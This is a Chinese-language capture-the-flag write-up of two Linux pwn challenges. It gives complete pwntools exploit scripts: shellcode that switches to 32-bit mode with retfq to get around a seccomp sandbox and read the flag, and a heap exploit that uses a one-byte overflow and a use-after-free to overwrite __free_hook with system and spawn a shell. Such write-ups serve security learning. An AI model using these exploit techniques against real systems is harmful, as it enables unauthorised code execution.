人在楼顶,感觉良好。
目前的自己还是只能做一些常规的Liunx下的PWN题,对其他的我就是个废物了。
这个题主要是shellcode非常的难构造。
比赛的时候whali3n51大师傅做出来的,我只是复现了他的payload。
本题目沙盒只剩下了0,1,5,9四个函数调用。
当我们想构造ORW的时候,没有open函数怎么办。
这个时候我们知道5在32位下是open。
那么我们考虑用retfq修改cs寄存器从而修改运行模式。
具体参考:https://xz.aliyun.com/t/6645#toc-5
将模式改为32位汇编(0x602710+0x8=0x23)
mov esp, 0x1010101 /* 6301456 == 0x602710 */
xor esp, 0x1612611
retfq
将模式改为64位汇编(esp+0x4=0x33)
push 0x33
push 0x10703756
pop eax
xor eax,0x10101010
add eax,0xc
push eax
retf
exp:
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
elf = ELF('CoolCode')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./CoolCode')
else:
p = remote(ip,port)
def add(index,content):
p.sendlineafter(" Your choice :","1")
p.sendlineafter("Index: ",str(index))
p.sendafter("messages: ",content)
def free(index):
p.sendlineafter(" Your choice :","3")
p.sendlineafter("Index: ",str(index))
def show(index):
p.sendlineafter(" Your choice :","2")
p.sendlineafter("Index: ",str(index))
context(arch='amd64', os='linux')
shellcode=shellcraft.read(0,0x602710, 0x100)+'ret'
add(-22,asm('''
ret
''',arch='amd64',os='linux'))
add(-37,asm(shellcode))
free(0)
shellcode=p64(0x602710+0x10)+p64(0x23)
shellcode+= "\xbc\x01\x01\x01\x01\x81\xf4\x11'a\x01hflag\x89\xe3\xb9H\x00\x00\x00\xb8\x05\x00\x00\x00\xcd\x80\x89\xc7j3hV7p\x10X5\x10\x10\x10\x10\x83\xc0\x0cP\xcb"
'''
mov esp, 0x1010101
xor esp, 0x1612711
push 0x67616c66
mov ebx,esp
mov ecx,0x48
mov eax,5
int 0x80
mov edi,eax
push 0x33
push 0x10703756
pop eax
xor eax,0x10101010
add eax,0xc
push eax
retf
'''
context(arch='amd64', os='linux')
shellcode+=asm(
'''
/*read(fp,buf,0x70)*/
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
''')
p.sendline(shellcode)
add("-37",asm('''
mov esp, 0x1010101 /* 6301456 == 0x602710 */
xor esp, 0x1612611
retfq
'''
))
gdb.attach(p,"b *0x400CC3")
free(0)
p.interactive()
if __name__ == '__main__':
pwn('buuoj.cn',20035,1)
漏洞点
经过测试在此的输入为蛇头的地址,当蛇死在右下角时,有一个单字节溢出。
另外还有一个逻辑漏洞。当get name
的时候,buf=一个堆块的地址,当此堆块free掉时,buf指向已经free的内存。
exp:
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('snake')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./snake')
else:
p = remote(ip,port)
def add(index,size,content):
p.sendlineafter("4.start name\n","1")
p.sendlineafter("index?\n",str(index))
p.sendlineafter("how long?\n",str(size))
p.sendlineafter("name?\n",content)
def free(index):
p.sendlineafter("4.start name\n","2")
p.sendlineafter("index?\n",str(index))
def seet(index):
p.sendlineafter("4.start name\n","3")
p.sendlineafter("index?\n",str(index))
def start():
p.sendlineafter("how long?\n","24")
p.sendlineafter("input name\n","\x11"*24)
p.send("d")
p.sendlineafter("lease leave words:\n","starssgo")
p.sendlineafter("if you want to exit?\n","n")
start()
add(1,0x68,"xxx")
add(2,0x68,"xxx")
add(3,0x10,"xxx")
seet(1)
free(1)
free(2)
p.sendlineafter("4.start name\n","1"*0x1000)
p.sendlineafter("4.start name\n","4")
p.recvuntil("player name: ")
main_arena=u64(p.recv(6).ljust(8,"\x00")) #-----利用逻辑漏洞泄露地址
libcbase_addr=main_arena-(0x7f79c5d20c48-0x00007f79c595c000)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
free_hook=libcbase_addr+libc.symbols["__free_hook"]
system_addr=libcbase_addr+libc.symbols["system"]
for i in range(35):
p.recvuntil("[2J")
p.send("\n") #---------让蛇死在右下角
p.sendafter("lease leave words:\n","A"*0x4c+"\x91")
p.sendafter("if you want to exit?\n","n")
add(1,0x68,'a')
free(0)
free(1)
add(0,0x38,'a')
main_are=libcbase_addr+(0x00007fc0340beb78-0x00007fc033cfa000)
add(1,0x68,p64(0)*3+p64(0x61)+p64(0)+p64(free_hook-0x40))
free(1)
free(0)
add(0,0x38,p64(0)*3+p64(0x71)+p64(free_hook-0x33))
add(3,0x68,"/bin/sh\x00")
add(4,0x58,"aa")
add(5,0x68,p64(0)*4+'\x00'*3+p64(system_addr))
free(3)
#gdb.attach(p)
p.interactive()
if __name__ == '__main__':
pwn('39.107.244.116',9999,1)
剩下的WinHeap,跟ChromePwn做不出来,在做题过程中发现自己逆向水平太差了,稍微大点的程序就容易找不到洞,最后,whali3n51tql,Orz。